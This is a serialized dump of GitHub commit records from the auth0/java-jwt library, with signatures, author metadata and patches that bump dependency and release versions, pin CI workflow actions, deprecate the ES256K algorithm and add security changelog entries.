 javadoc {ueu(6ef84cf5a11dfdd45f6f00eb067f27123aa68bf7}(sha(6ef84cf5a11dfdd45f6f00eb067f27123aa68bf7node_idEC_kwDOAQtL0doAKDZlZjg0Y2Y1YTExZGZkZDQ1ZjZmMDBlYjA2N2YyNzEyM2FhNjhiZjccommit}(author}(name	Evan Simsemailhello@evansims.comdate2023-07-17T17:46:01Zu	committer}(j  	Evan Simsj  hello@evansims.comj  2023-07-17T17:46:01Zumessage8chore(security): Update and pin Graddle workflow actionstree}(j  (f69a75bbda79d4dd0c4df8d5cd8b32c8d62e452curl^https://api.github.com/repos/auth0/java-jwt/git/trees/f69a75bbda79d4dd0c4df8d5cd8b32c8d62e452cuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/6ef84cf5a11dfdd45f6f00eb067f27123aa68bf7
comment_countK verification}(verifiedreasonvalid	signatureX%  -----BEGIN SSH SIGNATURE-----
U1NIU0lHAAAAAQAAADMAAAALc3NoLWVkMjU1MTkAAAAg7yl1qV5Ljw09kLKo+L6guv34XF
YkL8A8KsRQkXfp4VwAAAADZ2l0AAAAAAAAAAZzaGE1MTIAAABTAAAAC3NzaC1lZDI1NTE5
AAAAQDURwKoMveeXoEPLCeZzag+YxOO/aH1wJJBshHDdtS9L/1GmQ17lEblFLOoVprTP+Q
2/L6ShybpMEJFmUJAJ+wE=
-----END SSH SIGNATURE-----payloadX	  tree f69a75bbda79d4dd0c4df8d5cd8b32c8d62e452c
parent d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6
author Evan Sims <hello@evansims.com> 1689615961 -0500
committer Evan Sims <hello@evansims.com> 1689615961 -0500

chore(security): Update and pin Graddle workflow actions
uuj  \https://api.github.com/repos/auth0/java-jwt/commits/6ef84cf5a11dfdd45f6f00eb067f27123aa68bf7html_urlQhttps://github.com/auth0/java-jwt/commit/6ef84cf5a11dfdd45f6f00eb067f27123aa68bf7comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6ef84cf5a11dfdd45f6f00eb067f27123aa68bf7/commentsj  }(loginevansimsidMj  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3j  %https://api.github.com/users/evansimsj  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminuj  }(j  evansimsj  Mj  MDQ6VXNlcjMwOTM=j  0https://avatars.githubusercontent.com/u/3093?v=4jĄ  h3j  %https://api.github.com/users/evansimsj  https://github.com/evansimsjǄ  /https://api.github.com/users/evansims/followersjɄ  <https://api.github.com/users/evansims/following{/other_user}j˄  5https://api.github.com/users/evansims/gists{/gist_id}j̈́  <https://api.github.com/users/evansims/starred{/owner}{/repo}jτ  3https://api.github.com/users/evansims/subscriptionsjф  *https://api.github.com/users/evansims/orgsjӄ  +https://api.github.com/users/evansims/reposjՄ  6https://api.github.com/users/evansims/events{/privacy}jׄ  5https://api.github.com/users/evansims/received_eventsjل  Userjۄ  uparents]}(j  (d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6j  \https://api.github.com/repos/auth0/java-jwt/commits/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6j  Qhttps://github.com/auth0/java-jwt/commit/d8fe9a2654a69ff9c39c1fa711b8abb622a4f7d6uastats}(totalK	additionsK	deletionsKufiles]}(j  (20c61e51a9ce0bdf0bb0f0ae26f600efb872362afilename/.github/workflows/gradle-wrapper-validation.ymlstatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/6ef84cf5a11dfdd45f6f00eb067f27123aa68bf7/.github%2Fworkflows%2Fgradle-wrapper-validation.ymlraw_urlhttps://github.com/auth0/java-jwt/raw/6ef84cf5a11dfdd45f6f00eb067f27123aa68bf7/.github%2Fworkflows%2Fgradle-wrapper-validation.ymlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/.github%2Fworkflows%2Fgradle-wrapper-validation.yml?ref=6ef84cf5a11dfdd45f6f00eb067f27123aa68bf7patchX8  @@ -6,5 +6,5 @@ jobs:
     name: "validation/gradlew"
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v2
-      - uses: gradle/wrapper-validation-action@v1
+      - uses: actions/checkout@v3
+      - uses: gradle/wrapper-validation-action@8d49e559aae34d3e0eb16cde532684bc9702762b # pin@v1uau(ce1524341718eb32d4d0398e28c22ecc53f5ffa4}(sha(ce1524341718eb32d4d0398e28c22ecc53f5ffa4node_idEC_kwDOAQtL0doAKGNlMTUyNDM0MTcxOGViMzJkNGQwMzk4ZTI4YzIyZWNjNTNmNWZmYTQcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-25T13:24:57Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-25T13:24:57ZumessageRelease 3.19.3 (#637)tree}(j
  (6b1717f08ae1a174d2d19bb09b9a260989dc041eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/6b1717f08ae1a174d2d19bb09b9a260989dc041euj"  `https://api.github.com/repos/auth0/java-jwt/git/commits/ce1524341718eb32d4d0398e28c22ecc53f5ffa4
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjV+OpCRBK7hj4Ov3rIwAAMjgIAJc20seEvopmhAnE2vLEQItH
E05Y49HaBA0B+fzINPPrm/bpwTGxRa6HwgoxaqCbyFU8MLpQGtshd1qJebI4WG9V
Z+yaF+/E7qju87oHcubopTC6thOt4oDUdjwkYgLwGMUNMsM77gatlSiDKX9BZnfG
tMHAxae1SSZOp6wx/M81fIUYmK7LKU+igQmhUQAWx070KEUJEkWgPY7bLuWRX6kB
8DSeabfOwZKr7ipAYhC6Qmmev9mI82GU5h/JtW6oR3zTKnBm4GmuIix7wE/sBQKl
+IOBgv6JxQkjkPWLwQ+Fs1sLHt9jC1FkpQKxuvPIaxTy3d/nJyMME6Aprbm6j44=
=rcOr
-----END PGP SIGNATURE-----
payloadtree 6b1717f08ae1a174d2d19bb09b9a260989dc041e
parent 5287edf769ebbf67e092100a018378d563111c59
author Jim Anderson <jim.anderson@auth0.com> 1666704297 -0500
committer GitHub <noreply@github.com> 1666704297 -0500

Release 3.19.3 (#637)

uuj"  \https://api.github.com/repos/auth0/java-jwt/commits/ce1524341718eb32d4d0398e28c22ecc53f5ffa4html_urlQhttps://github.com/auth0/java-jwt/commit/ce1524341718eb32d4d0398e28c22ecc53f5ffa4comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ce1524341718eb32d4d0398e28c22ecc53f5ffa4/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j"  'https://api.github.com/users/jimmyjamesj0  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j5  web-flowj7  J/j  MDQ6VXNlcjE5ODY0NDQ3j9  4https://avatars.githubusercontent.com/u/19864447?v=4j;  h3j"  %https://api.github.com/users/web-flowj0  https://github.com/web-flowj>  /https://api.github.com/users/web-flow/followersj@  <https://api.github.com/users/web-flow/following{/other_user}jB  5https://api.github.com/users/web-flow/gists{/gist_id}jD  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jF  3https://api.github.com/users/web-flow/subscriptionsjH  *https://api.github.com/users/web-flow/orgsjJ  +https://api.github.com/users/web-flow/reposjL  6https://api.github.com/users/web-flow/events{/privacy}jN  5https://api.github.com/users/web-flow/received_eventsjP  UserjR  uparents]}(j
  (5287edf769ebbf67e092100a018378d563111c59j"  \https://api.github.com/repos/auth0/java-jwt/commits/5287edf769ebbf67e092100a018378d563111c59j0  Qhttps://github.com/auth0/java-jwt/commit/5287edf769ebbf67e092100a018378d563111c59uastats}(totalK	additionsK		deletionsKufiles](}(j
  (33b0d4077ed5c77398880a3a4ab2a1087cee6286filenameCHANGELOG.mdstatusmodifiedjl  Kjm  K changesKblob_url\https://github.com/auth0/java-jwt/blob/ce1524341718eb32d4d0398e28c22ecc53f5ffa4/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/ce1524341718eb32d4d0398e28c22ecc53f5ffa4/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=ce1524341718eb32d4d0398e28c22ecc53f5ffa4patchX  @@ -1,5 +1,11 @@
 # Change Log
 
+## [3.19.3](https://github.com/auth0/java-jwt/tree/3.19.3) (2022-10-24)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...3.19.3)
+
+**Security**
+- Update com.fasterxml.jackson.core:jackson-databind to 2.13.4.2 [\#631](https://github.com/auth0/java-jwt/pull/631) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [3.19.2](https://github.com/auth0/java-jwt/tree/3.19.2) (2022-05-05)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.1...3.19.2)
 u}(j
  (ac400231674e5c9d54ddbe192026ce8f6c20ddd0jr  	README.mdjt  modifiedjl  Kjm  Kjv  Kjw  Yhttps://github.com/auth0/java-jwt/blob/ce1524341718eb32d4d0398e28c22ecc53f5ffa4/README.mdjy  Xhttps://github.com/auth0/java-jwt/raw/ce1524341718eb32d4d0398e28c22ecc53f5ffa4/README.mdj{  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=ce1524341718eb32d4d0398e28c22ecc53f5ffa4j}  X  @@ -25,14 +25,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.2</version>
+    <version>3.19.3</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.19.2'
+implementation 'com.auth0:java-jwt:3.19.3'
 ```
 
 ## Available Algorithmsu}(j
  (4fc9d90578ac1311cdee1c401e2c5343fd9816b3jr  lib/build.gradlejt  modifiedjl  Kjm  Kjv  Kjw  bhttps://github.com/auth0/java-jwt/blob/ce1524341718eb32d4d0398e28c22ecc53f5ffa4/lib%2Fbuild.gradlejy  ahttps://github.com/auth0/java-jwt/raw/ce1524341718eb32d4d0398e28c22ecc53f5ffa4/lib%2Fbuild.gradlej{  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=ce1524341718eb32d4d0398e28c22ecc53f5ffa4j}  `@@ -1,6 +1,6 @@
 
 buildscript {
-    version = "3.19.2"
+    version = "3.19.3"
 }
 
 plugins {ueu(724cae8618bc83497ce2757769461fb8675b1c98}(sha(724cae8618bc83497ce2757769461fb8675b1c98node_idEC_kwDOAQtL0doAKDcyNGNhZTg2MThiYzgzNDk3Y2UyNzU3NzY5NDYxZmI4Njc1YjFjOTgcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-01-13T14:01:08Zu	committer}(j  GitHubj  noreply@github.comj  2022-01-13T14:01:08ZumessageUpdate jackson dependency (#523)

* Upgrade jackson dependency

* Remove ignored files

* Update baseline compare version to 3.18.2 as mentioned in PR #513tree}(j  (530e08f3f3f0df3ef679149557108ad8d931b012url^https://api.github.com/repos/auth0/java-jwt/git/trees/530e08f3f3f0df3ef679149557108ad8d931b012uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/724cae8618bc83497ce2757769461fb8675b1c98
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJh4DCkCRBK7hj4Ov3rIwAAexkIABxWsRc284nk06stgC4/JKAk
aFyhutNj9eYpQpYIO77Zs9gINApwLLuyQtaZPM66nH79zK+1pHDvfPxtlYuhNopf
5gk/DEPrdGrrkM1Er1zLzMWjND+9gcXsQURq9HiK2TiuhOjPe9s6/05/0ex+xuGy
Zz9Z2DnZl1rE3Py6STZ5B9D8Iyr6aWskYsy7i3pW7i4MePzogQ3NR8vYhFG/jVa7
bK8xy8QO/gCQ73mdmaiYCtb9K9xvlZ4OPFbEDBY4rMuKZamxdf7oSRphHLdvgqCA
O9TzqfSFyHabOZ++fS+okDPN/0OjUVvaQMf5w0vdkYA1pUI2bWx1smqTmtfsvp4=
=sv6b
-----END PGP SIGNATURE-----
payloadXq  tree 530e08f3f3f0df3ef679149557108ad8d931b012
parent f84584714ef2392b77f058feb1a23a851f9d6b84
author Poovamraj T T <poovamraj@gmail.com> 1642082468 +0100
committer GitHub <noreply@github.com> 1642082468 +0100

Update jackson dependency (#523)

* Upgrade jackson dependency

* Remove ignored files

* Update baseline compare version to 3.18.2 as mentioned in PR #513uuj  \https://api.github.com/repos/auth0/java-jwt/commits/724cae8618bc83497ce2757769461fb8675b1c98html_urlQhttps://github.com/auth0/java-jwt/commit/724cae8618bc83497ce2757769461fb8675b1c98comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/724cae8618bc83497ce2757769461fb8675b1c98/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowjŅ  /https://api.github.com/users/web-flow/followersjǅ  <https://api.github.com/users/web-flow/following{/other_user}jɅ  5https://api.github.com/users/web-flow/gists{/gist_id}j˅  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jͅ  3https://api.github.com/users/web-flow/subscriptionsjυ  *https://api.github.com/users/web-flow/orgsjх  +https://api.github.com/users/web-flow/reposjӅ  6https://api.github.com/users/web-flow/events{/privacy}jՅ  5https://api.github.com/users/web-flow/received_eventsjׅ  Userjم  uparents]}(j  (f84584714ef2392b77f058feb1a23a851f9d6b84j  \https://api.github.com/repos/auth0/java-jwt/commits/f84584714ef2392b77f058feb1a23a851f9d6b84j  Qhttps://github.com/auth0/java-jwt/commit/f84584714ef2392b77f058feb1a23a851f9d6b84uastats}(totalK	additionsK	deletionsKufiles](}(j  (e706fbb10345dab046c5eb3f6f4e527f80daf4fafilename
.gitignorestatusmodifiedj  Kj  K changesKblob_urlZhttps://github.com/auth0/java-jwt/blob/724cae8618bc83497ce2757769461fb8675b1c98/.gitignoreraw_urlYhttps://github.com/auth0/java-jwt/raw/724cae8618bc83497ce2757769461fb8675b1c98/.gitignorecontents_urllhttps://api.github.com/repos/auth0/java-jwt/contents/.gitignore?ref=724cae8618bc83497ce2757769461fb8675b1c98patch@@ -81,6 +81,7 @@ hs_err_pid*
 build/
 target/
 dependency-reduced-pom.xml
+local.properties
 
 # Ignore Gradle GUI config
 gradle-app.settingu}(j  (e1a4b4e7c7833c2cfc564332d90032dbb234ad77j  lib/build.gradlej  modifiedj  Kj  Kj  Kj  bhttps://github.com/auth0/java-jwt/blob/724cae8618bc83497ce2757769461fb8675b1c98/lib%2Fbuild.gradlej   ahttps://github.com/auth0/java-jwt/raw/724cae8618bc83497ce2757769461fb8675b1c98/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=724cae8618bc83497ce2757769461fb8675b1c98j  X`  @@ -11,7 +11,7 @@ oss {
     repository "java-jwt"
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
-    baselineCompareVersion "3.13.0"
+    baselineCompareVersion "3.18.2"
 
     developers {
         auth0 {
@@ -47,7 +47,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.0'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.12.6'
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.60'
     testImplementation 'junit:junit:4.12'
     testImplementation 'net.jodah:concurrentunit:0.4.3'u}(j  (93e073d46eb4a789676e35bcd79a76067a7d6da5j  local.propertiesj  removedj  K j  Kj  Kj  `https://github.com/auth0/java-jwt/blob/f84584714ef2392b77f058feb1a23a851f9d6b84/local.propertiesj   _https://github.com/auth0/java-jwt/raw/f84584714ef2392b77f058feb1a23a851f9d6b84/local.propertiesj  rhttps://api.github.com/repos/auth0/java-jwt/contents/local.properties?ref=f84584714ef2392b77f058feb1a23a851f9d6b84j  X)  @@ -1,12 +0,0 @@
-## This file is automatically generated by Android Studio.
-# Do not modify this file -- YOUR CHANGES WILL BE ERASED!
-#
-# This file must *NOT* be checked into Version Control Systems,
-# as it contains information specific to your local configuration.
-#
-# Location of the SDK. This is only used by Gradle.
-# For customization when using a Version Control System, please read the
-# header note.
-#Fri Dec 02 18:18:12 ART 2016
-ndk.dir=/Users/hernan/Development/Android.SDK/ndk-bundle
-sdk.dir=/Users/hernan/Development/Android.SDKueu     (212a3cdc3c5a474e88af0dc8445bc78fb0f662a7}(sha(212a3cdc3c5a474e88af0dc8445bc78fb0f662a7node_idEC_kwDOAQtL0doAKDIxMmEzY2RjM2M1YTQ3NGU4OGFmMGRjODQ0NWJjNzhmYjBmNjYyYTccommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-14T14:21:08Zu	committer}(j   GitHubj"  noreply@github.comj$  2022-03-14T14:21:08ZumessageuDeprecate ES256K Algorithm (#543)

* [SDK-3192] Deprecate secp256k1 curve for EC Algorithms

* Documentation updatetree}(j  (b4833672eb6e46b94ebb5b428902337b67195e32url^https://api.github.com/repos/auth0/java-jwt/git/trees/b4833672eb6e46b94ebb5b428902337b67195e32uj0  `https://api.github.com/repos/auth0/java-jwt/git/commits/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiL09UCRBK7hj4Ov3rIwAArg8IAFprghUNh1ImI4eKnR+mvJww
dfLD8nUXJAXGgohs6md9ihqN/FPL3f3gHYIwCZjOsC37KtfmRqiM4nq/fTrhAKHW
bkxvtPNnYlYYKJeX7SDRmOgoYxL2x66E7BxEs1PvrXrNKzle0TE1vkSaSCyNr5ft
aMaHi2kbF1ra1a3zDLxh0QvIA3x/ShygE01SD6pJdbXOzy/TTuKitX1UpUWk+ym3
K8LhcgS/LCMVhKly8dwwBn4eo5K3w+1ONuI42Qy5QMc0RgSQmsELtb5wyI4VpS0a
yg5QQOoChX/SezOHdIRRUjGV+yfQpmOT6n+GlUesnt8jT0b+rLFdbME2lljss3I=
=fjsa
-----END PGP SIGNATURE-----
payloadXG  tree b4833672eb6e46b94ebb5b428902337b67195e32
parent 22f31476fbaf2526412c88e9d9e65d058103d0a8
author Poovamraj T T <poovamraj@gmail.com> 1647267668 +0530
committer GitHub <noreply@github.com> 1647267668 +0530

Deprecate ES256K Algorithm (#543)

* [SDK-3192] Deprecate secp256k1 curve for EC Algorithms

* Documentation updateuuj0  \https://api.github.com/repos/auth0/java-jwt/commits/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7html_urlQhttps://github.com/auth0/java-jwt/commit/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j0  &https://api.github.com/users/poovamrajj>  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj&  }(jC  web-flowjE  J/j  MDQ6VXNlcjE5ODY0NDQ3jG  4https://avatars.githubusercontent.com/u/19864447?v=4jI  h3j0  %https://api.github.com/users/web-flowj>  https://github.com/web-flowjL  /https://api.github.com/users/web-flow/followersjN  <https://api.github.com/users/web-flow/following{/other_user}jP  5https://api.github.com/users/web-flow/gists{/gist_id}jR  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jT  3https://api.github.com/users/web-flow/subscriptionsjV  *https://api.github.com/users/web-flow/orgsjX  +https://api.github.com/users/web-flow/reposjZ  6https://api.github.com/users/web-flow/events{/privacy}j\  5https://api.github.com/users/web-flow/received_eventsj^  Userj`  uparents]}(j  (22f31476fbaf2526412c88e9d9e65d058103d0a8j0  \https://api.github.com/repos/auth0/java-jwt/commits/22f31476fbaf2526412c88e9d9e65d058103d0a8j>  Qhttps://github.com/auth0/java-jwt/commit/22f31476fbaf2526412c88e9d9e65d058103d0a8uastats}(totalK	additionsK	deletionsK ufiles]}(j  (2e1904df14fe88e55de2c6c0d870e60a95e87468filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedjz  Kj{  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=212a3cdc3c5a474e88af0dc8445bc78fb0f662a7patchX  @@ -183,7 +183,11 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
      * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the Key Provider is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
         return new ECDSAAlgorithm("ES256K", "SHA256withECDSA", 32, keyProvider);
     }
@@ -195,7 +199,11 @@ public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalAr
      * @param privateKey the key to use in the signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
         return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
     }uau(1ceddbab828c31e9e64fb37fe13ee05100ec3ebf}(sha(1ceddbab828c31e9e64fb37fe13ee05100ec3ebfnode_idEC_kwDOAQtL0doAKDFjZWRkYmFiODI4YzMxZTllNjRmYjM3ZmUxM2VlMDUxMDBlYzNlYmYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-06T10:47:38Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-05-06T10:47:38Zumessage!Merge branch 'master' into v4-devtree}(j  (ef2eef7cb56fb97774df0fb59405fa424c6791aburl^https://api.github.com/repos/auth0/java-jwt/git/trees/ef2eef7cb56fb97774df0fb59405fa424c6791abuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/1ceddbab828c31e9e64fb37fe13ee05100ec3ebfhtml_urlQhttps://github.com/auth0/java-jwt/commit/1ceddbab828c31e9e64fb37fe13ee05100ec3ebfcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  	poovamrajj  J j  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersjÆ  =https://api.github.com/users/poovamraj/following{/other_user}jņ  6https://api.github.com/users/poovamraj/gists{/gist_id}jǆ  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jɆ  4https://api.github.com/users/poovamraj/subscriptionsjˆ  +https://api.github.com/users/poovamraj/orgsj͆  ,https://api.github.com/users/poovamraj/reposjφ  7https://api.github.com/users/poovamraj/events{/privacy}jц  6https://api.github.com/users/poovamraj/received_eventsjӆ  UserjՆ  uparents](}(j  (4f79d67f7ad656a8bea4ba06cf3f2391750acf2fj  \https://api.github.com/repos/auth0/java-jwt/commits/4f79d67f7ad656a8bea4ba06cf3f2391750acf2fj  Qhttps://github.com/auth0/java-jwt/commit/4f79d67f7ad656a8bea4ba06cf3f2391750acf2fu}(j  (1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj  \https://api.github.com/repos/auth0/java-jwt/commits/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj  Qhttps://github.com/auth0/java-jwt/commit/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fuestats}(totalM/	additionsM	deletionsKufiles](}(j  (d81f9a1838cb80831b2da68ba3454a34c185f2f6filenameCHANGELOG.mdstatusmodifiedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=1ceddbab828c31e9e64fb37fe13ee05100ec3ebfpatchX-  @@ -1,5 +1,17 @@
 # Change Log
 
+## [3.19.2](https://github.com/auth0/java-jwt/tree/3.19.2) (2022-05-05)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.1...3.19.2)
+
+**Security**
+- [SDK-3311] Added protection against CVE-2022-21449 [\#579](https://github.com/auth0/java-jwt/pull/579) ([poovamraj](https://github.com/poovamraj))
+
+## [3.19.1](https://github.com/auth0/java-jwt/tree/3.19.1) (2022-03-30)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.0...3.19.1)
+
+**Security**
+- Security: Bump `jackson-databind` to 2.13.2.2 [\#566](https://github.com/auth0/java-jwt/pull/566) ([evansims](https://github.com/evansims))
+
 ## [3.19.0](https://github.com/auth0/java-jwt/tree/3.19.0) (2022-03-14)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.3...3.19.0)
 u}(j  (f649a7422a7796f5e5f5bc30e97ea28d0021a779j  	README.mdj  modifiedj  K	j  Kj  K
j  Yhttps://github.com/auth0/java-jwt/blob/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf/README.mdj   Xhttps://github.com/auth0/java-jwt/raw/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=1ceddbab828c31e9e64fb37fe13ee05100ec3ebfj  XZ  @@ -9,6 +9,8 @@
 
